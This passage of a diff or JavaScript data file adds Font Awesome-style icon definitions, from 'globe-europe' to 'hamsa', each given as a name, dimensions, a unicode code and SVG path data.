240.23c-2.89 4.82-8.1 7.77-13.72 7.77h-.31c-4.24 0-8.31 1.69-11.31 4.69l-5.66 5.66c-3.12 3.12-3.12 8.19 0 11.31l5.66 5.66c3 3 4.69 7.07 4.69 11.31V304c0 8.84-7.16 16-16 16h-6.11c-6.06 0-11.6-3.42-14.31-8.85l-22.62-45.23c-2.44-4.88-8.95-5.94-12.81-2.08l-19.47 19.46c-3 3-7.07 4.69-11.31 4.69H50.81C49.12 277.55 48 266.92 48 256c0-110.28 89.72-200 200-200 21.51 0 42.2 3.51 61.63 9.82l-50.16 38.53c-5.11 3.41-4.63 11.06.86 13.81l10.83 5.41c5.42 2.71 8.84 8.25 8.84 14.31V216c0 4.42-3.58 8-8 8h-3.06c-3.03 0-5.8-1.71-7.15-4.42-1.56-3.12-5.96-3.29-7.76-.3l-17.37 28.95zM408 358.43c0 4.24-1.69 8.31-4.69 11.31l-9.57 9.57c-3 3-7.07 4.69-11.31 4.69h-15.16c-4.24 0-8.31-1.69-11.31-4.69l-13.01-13.01a26.767 26.767 0 0 0-25.42-7.04l-21.27 5.32c-1.27.32-2.57.48-3.88.48h-10.34c-4.24 0-8.31-1.69-11.31-4.69l-11.91-11.91a8.008 8.008 0 0 1-2.34-5.66v-10.2c0-3.27 1.99-6.21 5.03-7.43l39.34-15.74c1.98-.79 3.86-1.82 5.59-3.05l23.71-16.89a7.978 7.978 0 0 1 4.64-1.48h12.09c3.23 0 6.15 1.94 7.39 4.93l5.35 12.85a4 4 0 0 0 3.69 2.46h3.8c1.78 0 3.35-1.18 3.84-2.88l4.2-14.47c.5-1.71 2.06-2.88 3.84-2.88h6.06c2.21 0 4 1.79 4 4v12.93c0 2.12.84 4.16 2.34 5.66l11.91 11.91c3 3 4.69 7.07 4.69 11.31v24.6z"], + "globe-europe": [496, 512, [], "f7a2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm200 248c0 22.5-3.9 44.2-10.8 64.4h-20.3c-4.3 0-8.4-1.7-11.4-4.8l-32-32.6c-4.5-4.6-4.5-12.1.1-16.7l12.5-12.5v-8.7c0-3-1.2-5.9-3.3-8l-9.4-9.4c-2.1-2.1-5-3.3-8-3.3h-16c-6.2 0-11.3-5.1-11.3-11.3 0-3 1.2-5.9 3.3-8l9.4-9.4c2.1-2.1 5-3.3 8-3.3h32c6.2 0 11.3-5.1 11.3-11.3v-9.4c0-6.2-5.1-11.3-11.3-11.3h-36.7c-8.8 0-16 7.2-16 16v4.5c0 6.9-4.4 13-10.9 15.2l-31.6 10.5c-3.3 1.1-5.5 4.1-5.5 7.6v2.2c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8s-3.6-8-8-8H247c-3 0-5.8 1.7-7.2 4.4l-9.4 18.7c-2.7 5.4-8.2 8.8-14.3 8.8H194c-8.8 0-16-7.2-16-16V199c0-4.2 1.7-8.3 4.7-11.3l20.1-20.1c4.6-4.6 7.2-10.9 7.2-17.5 0-3.4 2.2-6.5 5.5-7.6l40-13.3c1.7-.6 3.2-1.5 4.4-2.7l26.8-26.8c2.1-2.1 3.3-5 3.3-8 0-6.2-5.1-11.3-11.3-11.3H258l-16 16v8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-20c0-2.5 1.2-4.9 3.2-6.4l28.9-21.7c1.9-.1 3.8-.3 5.7-.3C358.3 56 448 145.7 448 256zM130.1 149.1c0-3 1.2-5.9 3.3-8l25.4-25.4c2.1-2.1 5-3.3 8-3.3 6.2 0 11.3 5.1 11.3 11.3v16c0 3-1.2 5.9-3.3 8l-9.4 9.4c-2.1 2.1-5 3.3-8 3.3h-16c-6.2 0-11.3-5.1-11.3-11.3zm128 306.4v-7.1c0-8.8-7.2-16-16-16h-20.2c-10.8 0-26.7-5.3-35.4-11.8l-22.2-16.7c-11.5-8.6-18.2-22.1-18.2-36.4v-23.9c0-16 8.4-30.8 22.1-39l42.9-25.7c7.1-4.2 15.2-6.5 23.4-6.5h31.2c10.9 0 21.4 3.9 29.6 10.9l43.2 37.1h18.3c8.5 0 16.6 3.4 22.6 9.4l17.3 17.3c3.4 3.4 8.1 5.3 12.9 5.3H423c-32.4 58.9-93.8 99.5-164.9 103.1z"], + "golf-ball": [416, 512, [], "f450", "M96 416h224c0 17.7-14.3 32-32 32h-16c-17.7 0-32 14.3-32 32v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-20c0-17.7-14.3-32-32-32h-16c-17.7 0-32-14.3-32-32zm320-208c0 74.2-39 139.2-97.5 176h-221C39 347.2 0 282.2 0 208 0 93.1 93.1 0 208 0s208 93.1 208 208zm-180.1 43.9c18.3 0 33.1-14.8 33.1-33.1 0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1zm49.1 46.9c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1zm64-64c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1z"], + "gopuram": [512, 512, [], "f664", "M496 352h-16V240c0-8.8-7.2-16-16-16h-16v-80c0-8.8-7.2-16-16-16h-16V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16S96 7.2 96 16v112H80c-8.8 0-16 7.2-16 16v80H48c-8.8 0-16 7.2-16 16v112H16c-8.8 0-16 7.2-16 16v128c0 8.8 7.2 16 16 16h80V352h32V224h32v-96h32v96h-32v128h-32v160h80v-80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v80h80V352h-32V224h-32v-96h32v96h32v128h32v160h80c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zM232 176c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v48h-48zm56 176h-64v-64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z"], + "graduation-cap": [640, 512, [], "f19d", "M622.34 153.2L343.4 67.5c-15.2-4.67-31.6-4.67-46.79 0L17.66 153.2c-23.54 7.23-23.54 38.36 0 45.59l48.63 14.94c-10.67 13.19-17.23 29.28-17.88 46.9C38.78 266.15 32 276.11 32 288c0 10.78 5.68 19.85 13.86 25.65L20.33 428.53C18.11 438.52 25.71 448 35.94 448h56.11c10.24 0 17.84-9.48 15.62-19.47L82.14 313.65C90.32 307.85 96 298.78 96 288c0-11.57-6.47-21.25-15.66-26.87.76-15.02 8.44-28.3 20.69-36.72L296.6 284.5c9.06 2.78 26.44 6.25 46.79 0l278.95-85.7c23.55-7.24 23.55-38.36 0-45.6zM352.79 315.09c-28.53 8.76-52.84 3.92-65.59 0l-145.02-44.55L128 384c0 35.35 85.96 64 192 64s192-28.65 192-64l-14.18-113.47-145.03 44.56z"], + "greater-than": [384, 512, [], "f531", "M365.52 209.85L59.22 67.01c-16.06-7.49-35.15-.54-42.64 15.52L3.01 111.61c-7.49 16.06-.54 35.15 15.52 42.64L236.96 256.1 18.49 357.99C2.47 365.46-4.46 384.5 3.01 400.52l13.52 29C24 445.54 43.04 452.47 59.06 445l306.47-142.91a32.003 32.003 0 0 0 18.48-29v-34.23c-.01-12.45-7.21-23.76-18.49-29.01z"], + "greater-than-equal": [448, 512, [], "f532", "M55.22 107.69l175.56 68.09-175.44 68.05c-18.39 6.03-27.88 24.39-21.2 41l12.09 30.08c6.68 16.61 26.99 25.19 45.38 19.15L393.02 214.2c13.77-4.52 22.98-16.61 22.98-30.17v-15.96c0-13.56-9.21-25.65-22.98-30.17L91.3 17.92c-18.29-6-38.51 2.53-45.15 19.06L34.12 66.9c-6.64 16.53 2.81 34.79 21.1 40.79zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"], + "grimace": [496, 512, [], "f57f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM144 400h-8c-17.7 0-32-14.3-32-32v-8h40v40zm0-56h-40v-8c0-17.7 14.3-32 32-32h8v40zm-8-136c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm72 192h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm-8-104c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64 128c0 17.7-14.3 32-32 32h-8v-40h40v8zm0-24h-40v-40h8c17.7 0 32 14.3 32 32v8z"], + "grin": [496, 512, [], "f580", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm80 256c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-alt": [496, 512, [], "f581", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm63.7 128.7c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zm-160 0c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-beam": [496, 512, [], "f582", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 144c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-beam-sweat": [504, 512, [], "f583", "M456 128c26.5 0 48-21 48-47 0-20-28.5-60.4-41.6-77.8-3.2-4.3-9.6-4.3-12.8 0C436.5 20.6 408 61 408 81c0 26 21.5 47 48 47zm0 32c-44.1 0-80-35.4-80-79 0-4.4.3-14.2 8.1-32.2C345 23.1 298.3 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-35.1-7.4-68.4-20.5-98.6-6.3 1.5-12.7 2.6-19.5 2.6zm-128-8c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-hearts": [496, 512, [], "f584", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM90.4 183.6c6.7-17.6 26.7-26.7 44.9-21.9l7.1 1.9 2-7.1c5-18.1 22.8-30.9 41.5-27.9 21.4 3.4 34.4 24.2 28.8 44.5L195.3 243c-1.2 4.5-5.9 7.2-10.5 6l-70.2-18.2c-20.4-5.4-31.9-27-24.2-47.2zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm133.4-201.3l-70.2 18.2c-4.5 1.2-9.2-1.5-10.5-6L281.3 173c-5.6-20.3 7.4-41.1 28.8-44.5 18.6-3 36.4 9.8 41.5 27.9l2 7.1 7.1-1.9c18.2-4.7 38.2 4.3 44.9 21.9 7.7 20.3-3.8 41.9-24.2 47.2z"], + "grin-squint": [496, 512, [], "f585", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-squint-tears": [512, 512, [], "f586", "M409.6 111.9c22.6-3.2 73.5-12 88.3-26.8 19.2-19.2 18.9-50.6-.7-70.2S446-5 426.9 14.2c-14.8 14.8-23.5 65.7-26.8 88.3-.8 5.5 3.9 10.2 9.5 9.4zM102.4 400.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm311.7-256.5c-33 3.9-48.6-25.1-45.7-45.7 3.4-24 7.4-42.1 11.5-56.5C285.1-13.4 161.8-.5 80.6 80.6-.5 161.7-13.4 285 41.4 379.9c14.4-4.1 32.4-8 56.5-11.5 33.2-3.9 48.6 25.2 45.7 45.7-3.4 24-7.4 42.1-11.5 56.5 94.8 54.8 218.1 41.9 299.3-39.2s94-204.4 39.2-299.3c-14.4 4.1-32.5 8-56.5 11.5zM255.7 106c3.3-13.2 22.4-11.5 23.6 1.8l4.8 52.3 52.3 4.8c13.4 1.2 14.9 20.3 1.8 23.6l-90.5 22.6c-8.9 2.2-16.7-5.9-14.5-14.5l22.5-90.6zm-90.9 230.3L160 284l-52.3-4.8c-13.4-1.2-14.9-20.3-1.8-23.6l90.5-22.6c8.8-2.2 16.7 5.8 14.5 14.5L188.3 338c-3.1 13.2-22.2 11.7-23.5-1.7zm215.7 44.2c-29.3 29.3-75.7 50.4-116.7 50.4-18.9 0-36.6-4.5-51-14.7-9.8-6.9-8.7-21.8 2-27.2 28.3-14.6 63.9-42.4 97.8-76.3s61.7-69.6 76.3-97.8c5.4-10.5 20.2-11.9 27.3-2 32.3 45.3 7.1 124.7-35.7 167.6z"], + "grin-stars": [496, 512, [], "f587", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM94.6 168.9l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.2 1 8.9 8.6 4.3 13.2l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L152 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.6-4.7-1.9-12.3 4.3-13.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm157.7-249.9l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L344 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.5-4.6-1.9-12.2 4.3-13.2l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.3.9 9 8.5 4.4 13.1z"], + "grin-tears": [640, 512, [], "f588", "M102.4 256.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm523.4 26.8c-14.8-14.8-65.7-23.5-88.3-26.8-5.5-.8-10.3 3.9-9.5 9.5 3.2 22.6 12 73.5 26.8 88.3 19.2 19.2 50.6 18.9 70.2-.7s20-51.2.8-70.3zm-129.4-12.8c-3.8-26.6 19.1-49.5 45.7-45.7 8.9 1.3 16.8 2.7 24.3 4.1C552.7 104.5 447.7 8 320 8S87.3 104.5 73.6 228.5c7.5-1.4 15.4-2.8 24.3-4.1 33.2-3.9 48.6 25.3 45.7 45.7-11.8 82.3-29.9 100.4-35.8 106.4-.9.9-2 1.6-3 2.5 42.7 74.6 123 125 215.2 125s172.5-50.4 215.2-125.1c-1-.9-2.1-1.5-3-2.5-5.9-5.9-24-24-35.8-106.3zM400 152c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.7 9.2-21.6 20.7-17.9C227.1 330.5 272 336 320 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"], + "grin-tongue": [496, 512, [], "f589", "M248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-34.9 134.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z"], + "grin-tongue-squint": [496, 512, [], "f58a", "M293.1 374.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-33.8 210.3l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.7 4.7 7.7 15.9 0 20.6zm163 30c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.8-4.7-7.8-15.9 0-20.6l80-48c11.7-6.9 23.9 7.7 15.4 18L343.6 208l33.6 40.3z"], + "grin-tongue-wink": [496, 512, [], "f58b", "M344 184c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-56 225l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L112 233c-8.5 7.4-21.6.3-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c1.6 11.1-11.6 18.2-20 10.8zm152 39c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm-50.9 102.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z"], + "grin-wink": [496, 512, [], "f58c", "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm168 25l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.6 11-11.5 18.2-20 10.8zm-243.1 87.8C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6 20.7 17.9-9.2 55-83.2 93.3-143.8 93.3s-134.5-38.3-143.8-93.3c-2-11.9 9.3-21.6 20.7-17.9z"], + "grip-horizontal": [448, 512, [], "f58d", "M96 288H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM96 96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"], + "grip-lines": [512, 512, [], "f7a4", "M496 288H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-128H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"], + "grip-lines-vertical": [256, 512, [], "f7a5", "M96 496V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm128 0V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16z"], + "grip-vertical": [320, 512, [], "f58e", "M96 32H32C14.33 32 0 46.33 0 64v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM288 32h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"], + "guitar": [512, 512, [], "f7a6", "M502.63 39L473 9.37a32 32 0 0 0-45.26 0L381.46 55.7a35.14 35.14 0 0 0-8.53 13.79L360.77 106l-76.26 76.26c-12.16-8.76-25.5-15.74-40.1-19.14-33.45-7.78-67-.88-89.88 22a82.45 82.45 0 0 0-20.24 33.47c-6 18.56-23.21 32.69-42.15 34.46-23.7 2.27-45.73 11.45-62.61 28.44C-16.11 327-7.9 409 47.58 464.45S185 528 230.56 482.52c17-16.88 26.16-38.9 28.45-62.71 1.76-18.85 15.89-36.13 34.43-42.14a82.6 82.6 0 0 0 33.48-20.25c22.87-22.88 29.74-56.36 22-89.75-3.39-14.64-10.37-28-19.16-40.2L406 151.23l36.48-12.16a35.14 35.14 0 0 0 13.79-8.53l46.33-46.32a32 32 0 0 0 .03-45.22zM208 352a48 48 0 1 1 48-48 48 48 0 0 1-48 48z"], + "h-square": [448, 512, [], "f0fd", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-112 48h-32c-8.837 0-16 7.163-16 16v80H160v-80c0-8.837-7.163-16-16-16h-32c-8.837 0-16 7.163-16 16v224c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16v-80h128v80c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16V144c0-8.837-7.163-16-16-16z"], + "hamburger": [512, 512, [], "f805", "M464 256H48a48 48 0 0 0 0 96h416a48 48 0 0 0 0-96zm16 128H32a16 16 0 0 0-16 16v16a64 64 0 0 0 64 64h352a64 64 0 0 0 64-64v-16a16 16 0 0 0-16-16zM58.64 224h394.72c34.57 0 54.62-43.9 34.82-75.88C448 83.2 359.55 32.1 256 32c-103.54.1-192 51.2-232.18 116.11C4 180.09 24.07 224 58.64 224zM384 112a16 16 0 1 1-16 16 16 16 0 0 1 16-16zM256 80a16 16 0 1 1-16 16 16 16 0 0 1 16-16zm-128 32a16 16 0 1 1-16 16 16 16 0 0 1 16-16z"], + "hammer": [576, 512, [], "f6e3", "M571.31 193.94l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31-28.9-28.9c5.63-21.31.36-44.9-16.35-61.61l-45.25-45.25c-62.48-62.48-163.79-62.48-226.28 0l90.51 45.25v18.75c0 16.97 6.74 33.25 18.75 45.25l49.14 49.14c16.71 16.71 40.3 21.98 61.61 16.35l28.9 28.9-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l90.51-90.51c6.23-6.24 6.23-16.37-.02-22.62zm-286.72-15.2c-3.7-3.7-6.84-7.79-9.85-11.95L19.64 404.96c-25.57 23.88-26.26 64.19-1.53 88.93s65.05 24.05 88.93-1.53l238.13-255.07c-3.96-2.91-7.9-5.87-11.44-9.41l-49.14-49.14z"], + "hamsa": [512, 512, [], "f665", "M509.34 307.25C504.28 295.56 492.75 288 480 288h-64V80c0-22-18-40-40-40s-40 18-40 40v134c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V40c0-22-18-40-40-40s-40 18-40 40v174c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V80c0-22-18-40-40-40S96 58 96 80v208H32c-12.75 0-24.28 7.56-29.34 19.25a31.966 31.966 0 0 0 5.94 34.58l102.69 110.03C146.97 490.08 199.69 512 256 